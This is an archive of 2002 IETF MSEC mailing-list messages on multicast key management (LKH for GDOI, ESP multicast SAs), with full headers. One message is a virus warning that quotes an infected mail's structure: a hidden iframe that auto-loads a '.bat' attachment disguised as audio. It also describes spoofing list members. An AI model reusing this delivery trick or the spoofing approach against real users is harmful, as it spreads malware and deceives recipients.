AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAgAAAAMA
AAAEAAAABQAAAAYAAAAHAAAACAAAAAkAAAAKAAAACwAAAP7///8NAAAADgAAAA8AAAAQAAAA
EQAAABIAAAATAAAA/v///xUAAAAWAAAAFwAAABgAAAAZAAAAGgAAABsAAAD+////HQAAAB4A
AAAfAAAAIAAAACEAAAAiAAAAIwAAAP7////9////JgAAAP7////+/////v//////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
/////////////////////1IAbwBvAHQAIABFAG4AdAByAHkAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAUB//////////8DAAAABgkCAAAAAADAAAAA
AAAARgAAAAAAAAAAAAAAAKBsfuRUfcEBKAAAAIAAAAAAAAAAMQBUAGEAYgBsAGUAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAgD/////
//////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAAAABAAAAAA
AABXAG8AcgBkAEQAbwBjAHUAbQBlAG4AdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAGgACAQUAAAD//////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAyFgAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQA
aQBvAG4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAAIBAgAAAAQAAAD/////AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFAAAAAAQAAAAAAAABQBEAG8AYwB1AG0A
ZQBuAHQAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAADgA
AgH///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcAAAA
ABAAAAAAAAABAEMAbwBtAHAATwBiAGoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAEgACAQEAAAAGAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAABmAAAAAAAAAE8AYgBqAGUAYwB0AFAAbwBvAGwAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWAAEA////////////////
AAAAAAAAAAAAAAAAAAAAAAAAAACgbH7kVH3BAaBsfuRUfcEBAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAD///////////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAABAAAA/v//////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////wEA/v8DCgAA/////wYJ
AgAAAAAAwAAAAAAAAEYUAAAATWljcm9zb2Z0IFdvcmQgzsS1tQAKAAAATVNXb3JkRG9jABAA
AABXb3JkLkRvY3VtZW50LjgA9DmycQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
--HPs4d11KC8b3C02F54W731u455--

_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Fri Jul 12 03:14:18 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA09353
	for <msec-archive@odin.ietf.org>; Fri, 12 Jul 2002 03:14:17 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 8BA8953552; Fri, 12 Jul 2002 03:13:04 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id C342C53552
	for <msec@lists.securemulticast.org>; Fri, 12 Jul 2002 03:12:30 -0400 (EDT)
Received: (qmail 56694 invoked by uid 3269); 12 Jul 2002 07:14:06 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 56691 invoked from network); 12 Jul 2002 07:14:06 -0000
Received: from saturn.bt.com (HELO cbibipnt02.HC.BT.COM) (193.113.57.20)
  by klesh.pair.com with SMTP; 12 Jul 2002 07:14:06 -0000
Received: from cbibipnt05.hc.bt.com ([147.149.196.177]) by cbibipnt02.HC.BT.COM with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2654.89)
	id 3WRN2W5V; Fri, 12 Jul 2002 08:13:40 +0100
Received: FROM ferao.jungle.bt.co.uk BY cbibipnt05.hc.bt.com ; Fri Jul 12 08:13:50 2002 +0100
Received: from maat (maat [132.146.136.69])
	by ferao.jungle.bt.co.uk (8.10.2+Sun/Jungle-8.9.1-03) with SMTP id g6C8EQg07768;
	Fri, 12 Jul 2002 09:14:27 +0100 (BST)
Message-Id: <3.0.5.32.20020712081411.00a13410@pop3.jungle.bt.co.uk>
X-Sender: rbriscoe@pop3.jungle.bt.co.uk
X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32)
To: msec@securemulticast.org, fenner@research.att.com
From: Bob Briscoe <rbriscoe@jungle.bt.co.uk>
Subject: Virus warning: (was: [MSEC] Page uses frames, but your browser
  doesn)
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Fri, 12 Jul 2002 08:14:11 +0100
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id DAA09353

msec,

A posting to msec appearing to come from <fenner@research.att.com> with the above subject was sent to the list recently with a base64 coding audio file attached apparently containing a virus. Transcript of our gateway's message about it below, suitably cut.

It seems fairly easy to subscribe to the list  (which may have been done some time ago), request the subscriber list then spoof a mail from one of the members, whether or not the attacker had since unsubscribed. This may have been the approach taken in this attack, given a quick scan of the archive shows the above address has never posted to this list. It may be possible for the list admin to audit recent requests for the subscriber list, which may help track this attack down.

Bob

========================================================================

"An attempt has been made to send a file called unknown into BT's e-mail system, to 
---Cut---
, which was infected with the
Exploit-MIME.gen.b virus.  This virus has been Deleted  

--HPs4d11KC8b3C02F54W731u455Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:T8Pc5E1z3tf989q2847 height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>


--HPs4d11KC8b3C02F54W731u455
Content-Type: audio/x-wav;
	name=ÖпÆÔºÓë±´¶ûʵÑéÊÒ¹²½¨Í¨Ðż¼ÊõʵÑéÊÒ.bat
Content-Transfer-Encoding: base64
Content-ID: <T8Pc5E1z3tf989q2847>
--Cut---

________________________________________________________
Notice: This contribution is the personal view of the 
author and does not necessarily reflect the technical nor 
commercial direction of British Telecommunications plc.
________________________________________________________
Bob Briscoe      http://www.labs.bt.com/people/briscorj/

_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Mon Jul 15 14:29:53 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA13440
	for <msec-archive@odin.ietf.org>; Mon, 15 Jul 2002 14:29:53 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 8D14A5373E; Mon, 15 Jul 2002 14:28:04 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 5E9455373E
	for <msec@lists.securemulticast.org>; Mon, 15 Jul 2002 14:27:04 -0400 (EDT)
Received: (qmail 8632 invoked by uid 3269); 15 Jul 2002 18:28:49 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 8629 invoked from network); 15 Jul 2002 18:28:48 -0000
Received: from rumba.cefriel.it (131.175.53.6)
  by klesh.pair.com with SMTP; 15 Jul 2002 18:28:48 -0000
Received: by rumba.cefriel.it with Internet Mail Service (5.5.2653.19)
	id <30J2F8BZ>; Mon, 15 Jul 2002 20:30:34 +0200
Message-ID: <7B6D8AAF768F194EB3090A0325C85202398563@rumba.cefriel.it>
From: Luca Venturi <venturi@cefriel.it>
To: "'msec@securemulticast.org'" <msec@securemulticast.org>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
MIME-Version: 1.0
Content-Type: multipart/signed;
	micalg=SHA1;
	boundary="----=_NextPart_000_002B_01C22C3E.7755C760";
	protocol="application/x-pkcs7-signature"
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Subject: [MSEC] LKH for GDOI
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Mon, 15 Jul 2002 20:30:33 +0200

This is a multi-part message in MIME format.

------=_NextPart_000_002B_01C22C3E.7755C760
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

what exactly is the version of LKH that the draft of GDOI refers to?
I have found plenty of variants of the same original version by Walner
et al (RFC 2627), but none of them agree on each other's performance, as
in lots of publications there are many comparisons among different
algorithms. I see the only LKH document that is cited in the draft of
GDOI is RFC 2627. do i have to conclude that it is the reference
algorithm for GDOI? 
thank you in advance
Luca

------=_NextPart_000_002B_01C22C3E.7755C760
Content-Type: application/x-pkcs7-signature;
	name="smime.p7s"
Content-Disposition: attachment;
	filename="smime.p7s"
Content-Transfer-Encoding: base64

MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIJBjCCApUw
ggH+oAMCAQICAwdOqDANBgkqhkiG9w0BAQQFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT
FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAw
MC44LjMwMB4XDTAyMDQyNDA4MjkxMFoXDTAzMDQyNDA4MjkxMFowWzEQMA4GA1UEBBMHVmVudHVy
aTENMAsGA1UEKhMETHVjYTEVMBMGA1UEAxMMTHVjYSBWZW50dXJpMSEwHwYJKoZIhvcNAQkBFhJ2
ZW50dXJpQGNlZnJpZWwuaXQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAOgHZQCZdsGNot5Q
YmndQCvzq6nDbZ+xmmg/6TKEX6jenb+63EF8tByDzQiIkc8Y/WLT3bI9zCpRy1UYU2Zg4sZGXP7B
z227my7ALv/VGupqAVuNyCDhjBVLJyRnciyNTTIs7Oyn6e9E+F8Z3ruUZBaGl5rZpVsYDQk19qV/
Ve81AgMBAAGjLzAtMB0GA1UdEQQWMBSBEnZlbnR1cmlAY2VmcmllbC5pdDAMBgNVHRMBAf8EAjAA
MA0GCSqGSIb3DQEBBAUAA4GBAAY0MATZYldnFSlYb68pavbpY7awj6gnv8e2jAw/uogsoZFJkkDo
aTsImz+f6HIt1meCGLlzM3HDLdKMuWOnKjs0aBldYsdUThi+LJC5KkgepHi92/WpX6IQToSKuX3P
Q20Y/tM5qfA3sTw1xTRpanbJumiA82fDhYjrjuwvPQ0dMIIDLTCCApagAwIBAgIBADANBgkqhkiG
9w0BAQQFADCB0TELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTESMBAGA1UEBxMJ
Q2FwZSBUb3duMRowGAYDVQQKExFUaGF3dGUgQ29uc3VsdGluZzEoMCYGA1UECxMfQ2VydGlmaWNh
dGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjEkMCIGA1UEAxMbVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWls
IENBMSswKQYJKoZIhvcNAQkBFhxwZXJzb25hbC1mcmVlbWFpbEB0aGF3dGUuY29tMB4XDTk2MDEw
MTAwMDAwMFoXDTIwMTIzMTIzNTk1OVowgdExCzAJBgNVBAYTAlpBMRUwEwYDVQQIEwxXZXN0ZXJu
IENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhhd3RlIENvbnN1bHRpbmcxKDAm
BgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24xJDAiBgNVBAMTG1RoYXd0ZSBQ
ZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVyc29uYWwtZnJlZW1haWxAdGhh
d3RlLmNvbTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1GnX1LCUZFtx6UfYDFG26nKRsIRe
fS0Nj3sS34UldSh0OkIsYyeflXtL734Zhx2G6qPduc6WZBrCFG5ErHzmj+hND3EfQDimAKOHePb5
lIZererAXnbr2RSjXW56fAylS1V/Bhkpf56aJtVquzgkCGqYx7Hao5iR/Xnb5VrEHLkCAwEAAaMT
MBEwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQQFAAOBgQDH7JJ+Tvj1lqVnYiqk8E0RYNBv
jWBYYawmu1I1XAjPMPuoSpaKH2JCI4wXD/S6ZJwXrEcp352YXtJsYHFcoqzceePnbgBHH7UNKOgC
neSa/RP0ptl8sfjcXyMmCZGAc9AUG95DqYMl8uacLxXK/qarigd1iwzdUYRr5PjRzneigTCCAzgw
ggKhoAMCAQICEGZFcrfMdPXPY3ZFhNAukQEwDQYJKoZIhvcNAQEEBQAwgdExCzAJBgNVBAYTAlpB
MRUwEwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEaMBgGA1UEChMRVGhh
d3RlIENvbnN1bHRpbmcxKDAmBgNVBAsTH0NlcnRpZmljYXRpb24gU2VydmljZXMgRGl2aXNpb24x
JDAiBgNVBAMTG1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBDQTErMCkGCSqGSIb3DQEJARYccGVy
c29uYWwtZnJlZW1haWxAdGhhd3RlLmNvbTAeFw0wMDA4MzAwMDAwMDBaFw0wNDA4MjcyMzU5NTla
MIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRv
d24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNV
BAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzAwgZ8wDQYJKoZIhvcNAQEBBQADgY0A
MIGJAoGBAN4zMqZjxwklRT7SbngnZ4HF2ogZgpcO40QpimM1Km1wPPrcrvfudG8wvDOQf/k0caCj
bZjxw0+iZdsN+kvx1t1hpfmFzVWaNRqdknWoJ67Ycvm6AvbXsJHeHOmr4BgDqHxDQlBRh4M88Dm0
m1SKE4f/s5udSWYALQmJ7JRr6aFpAgMBAAGjTjBMMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFQ
cml2YXRlTGFiZWwxLTI5NzASBgNVHRMBAf8ECDAGAQH/AgEAMAsGA1UdDwQEAwIBBjANBgkqhkiG
9w0BAQQFAAOBgQAxsUtHXfkBceX1U2xdedY9mMAmE2KBIqcS+CKV6BtJtyd7BDm6/ObyJOuR+r3s
DSo491BVqGz3Da1MG7wD9LXrokefbKIMWI0xQgkRbLAaadErErJAXWr5edDqLiXdiuT82w0fnQLz
WtvKPPZE6iZph39Ins6ln+eE2MliYq0FxjGCAqowggKmAgEBMIGaMIGSMQswCQYDVQQGEwJaQTEV
MBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0
ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2VydmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVt
YWlsIFJTQSAyMDAwLjguMzACAwdOqDAJBgUrDgMCGgUAoIIBZTAYBgkqhkiG9w0BCQMxCwYJKoZI
hvcNAQcBMBwGCSqGSIb3DQEJBTEPFw0wMjA3MTUxODMwMzJaMCMGCSqGSIb3DQEJBDEWBBS/gQpM
qgad4N7yXknWXvXh3WyhtjBYBgkqhkiG9w0BCQ8xSzBJMAoGCCqGSIb3DQMHMA4GCCqGSIb3DQMC
AgIAgDAHBgUrDgMCBzANBggqhkiG9w0DAgIBKDAHBgUrDgMCGjAKBggqhkiG9w0CBTCBqwYJKwYB
BAGCNxAEMYGdMIGaMIGSMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYD
VQQHEwlDYXBlIFRvd24xDzANBgNVBAoTBlRoYXd0ZTEdMBsGA1UECxMUQ2VydGlmaWNhdGUgU2Vy
dmljZXMxKDAmBgNVBAMTH1BlcnNvbmFsIEZyZWVtYWlsIFJTQSAyMDAwLjguMzACAwdOqDANBgkq
hkiG9w0BAQEFAASBgDnSI7ivxoVe3L1gyfAOwCqG5135FMhVx+J0SZcKQjPMMuL0bX1BSNrDqkUA
mA4I2zmeIUHOtZikzBJwJ5Xx+aR/VDOam//3wDe0krOVjrTDsh3yYVDcV1AufuaBExmOTQn6zLlg
jH069pGIxOMy/YMG4Jrbc44n9paZNctwD9h9AAAAAAAA

------=_NextPart_000_002B_01C22C3E.7755C760--


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Wed Jul 17 10:53:36 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18387
	for <msec-archive@odin.ietf.org>; Wed, 17 Jul 2002 10:53:34 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 632345371B; Wed, 17 Jul 2002 10:52:12 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 8A8A153608
	for <msec@lists.securemulticast.org>; Wed, 17 Jul 2002 10:51:49 -0400 (EDT)
Received: (qmail 46612 invoked by uid 3269); 17 Jul 2002 14:53:38 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 46609 invoked from network); 17 Jul 2002 14:53:38 -0000
Received: from sj-msg-core-4.cisco.com (171.71.163.54)
  by klesh.pair.com with SMTP; 17 Jul 2002 14:53:38 -0000
Received: from mira-sjc5-6.cisco.com (IDENT:mirapoint@mira-sjc5-6.cisco.com [171.71.163.23])
	by sj-msg-core-4.cisco.com (8.12.2/8.12.2) with ESMTP id g6HEr5qI003655;
	Wed, 17 Jul 2002 07:53:05 -0700 (PDT)
Received: from mbaugher-w2k1.cisco.com (stealth-10-34-251-94.cisco.com [10.34.251.94])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with SMTP id ACC58278;
	Wed, 17 Jul 2002 07:50:09 -0700 (PDT)
Message-Id: <4.3.2.7.2.20020717074830.02f2c890@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
To: Luca Venturi <venturi@cefriel.it>
From: Mark Baugher <mbaugher@cisco.com>
Subject: Re: [MSEC] LKH for GDOI
Cc: "'msec@securemulticast.org'" <msec@securemulticast.org>
In-Reply-To: <7B6D8AAF768F194EB3090A0325C85202398563@rumba.cefriel.it>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Wed, 17 Jul 2002 07:50:53 -0700

Luca
   Sorry for the slow response.  Yes, the algorithm used by GDOI should be 
as specified in RFC 2627.

Mark

At 08:30 PM 7/15/2002 +0200, Luca Venturi wrote:
>what exactly is the version of LKH that the draft of GDOI refers to?
>I have found plenty of variants of the same original version by Walner
>et al (RFC 2627), but none of them agree on each other's performance, as
>in lots of publications there are many comparisons among different
>algorithms. I see the only LKH document that is cited in the draft of
>GDOI is RFC 2627. do i have to conclude that it is the reference
>algorithm for GDOI?
>thank you in advance
>Luca


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Sat Jul 20 10:42:50 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA10916
	for <msec-archive@odin.ietf.org>; Sat, 20 Jul 2002 10:42:49 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 444E45366A; Sat, 20 Jul 2002 10:40:31 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 5A78F5357E
	for <msec@lists.securemulticast.org>; Sat, 20 Jul 2002 10:39:22 -0400 (EDT)
Received: (qmail 84449 invoked by uid 3269); 20 Jul 2002 14:41:19 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 84446 invoked from network); 20 Jul 2002 14:41:18 -0000
Received: from sj-msg-core-1.cisco.com (171.71.163.11)
  by klesh.pair.com with SMTP; 20 Jul 2002 14:41:18 -0000
Received: from mira-sjc5-6.cisco.com (IDENT:mirapoint@mira-sjc5-6.cisco.com [171.71.163.23])
	by sj-msg-core-1.cisco.com (8.12.2/8.12.2) with ESMTP id g6KEeSM2006743;
	Sat, 20 Jul 2002 07:40:38 -0700 (PDT)
Received: from mbaugher-w2k1.cisco.com (stealth-10-34-251-94.cisco.com [10.34.251.94])
	by mira-sjc5-6.cisco.com (Mirapoint)
	with SMTP id ACD23688;
	Sat, 20 Jul 2002 07:37:28 -0700 (PDT)
Message-Id: <4.3.2.7.2.20020720073224.02473a80@mira-sjc5-6.cisco.com>
X-Sender: mbaugher@mira-sjc5-6.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 4.3.2
To: Stephen Kent <kent@bbn.com>
From: Mark Baugher <mbaugher@cisco.com>
Cc: ipsec@lists.tislabs.com, msec@securemulticast.org
In-Reply-To: <p05100305b954ffb95d01@[128.89.88.34]>
References: <4.3.2.7.2.20020709135351.0251a3f0@mira-sjc5-6.cisco.com>
 <4.3.2.7.2.20020709135351.0251a3f0@mira-sjc5-6.cisco.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Subject: [MSEC] Re: new version of ESP ID
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Sat, 20 Jul 2002 07:38:10 -0700

Steve,

At 05:54 PM 7/12/2002 -0400, Stephen Kent wrote:
>Mark,
>
>>
>>I don't understand the distinction between static and dynamic SAs.
>>Is the distinction between a single-sender multicast SA versus
>>a multi-sender multicast SA?
>>
>>I think that it is a more robust solution to identify the multicast
>>SA using the source address as well as the SPI and destination
>>address.  This is what many of us who worked in smug thought we
>>would do with MESP.  Now that Steve is addressing multicast in
>>ESP and AH, it's not clear to me how msec should proceed with
>>MESP.
>
>There is a big distinction between single and multi-sender SAs, as we have 
>discussed. One cannot make use of anti-replay for a multi-sender SA, 
>unless we seriously change the model and I explained in my message to Bill 
>why I don't think that's a reasonable change to pursue.

I think I understand your rationale.  We should at least document the fact 
that it may be necessary to identify the multicast ESP SA using the triple 
<source, destination, SPI> for source-specific multicast - for some 
applications.  I think Bill and Radia's previous comments to this thread 
explain why.  If all sources to a multicast address use the same group key 
controller, then I don't see a problem.  If some sources to a multicast 
address use distinct group key controllers (e.g., each source acts as its 
own controller), then there is the potential for SPI collisions and means 
must be invented to handle these collisions.

Mark


>I am opposed to the suggestion to use both source and destination address 
>for demuxing multicast SAs, as it just adds to the comparisons that need 
>to me made. As more folks go to high speed hardware implementations, using 
>more fields for demuxing turns into more CAM entries, ...  Why can't we 
>swap destination address demuxing for source address demuxing for multicast?
>
>Steve


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Mon Jul 22 06:43:41 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA00334
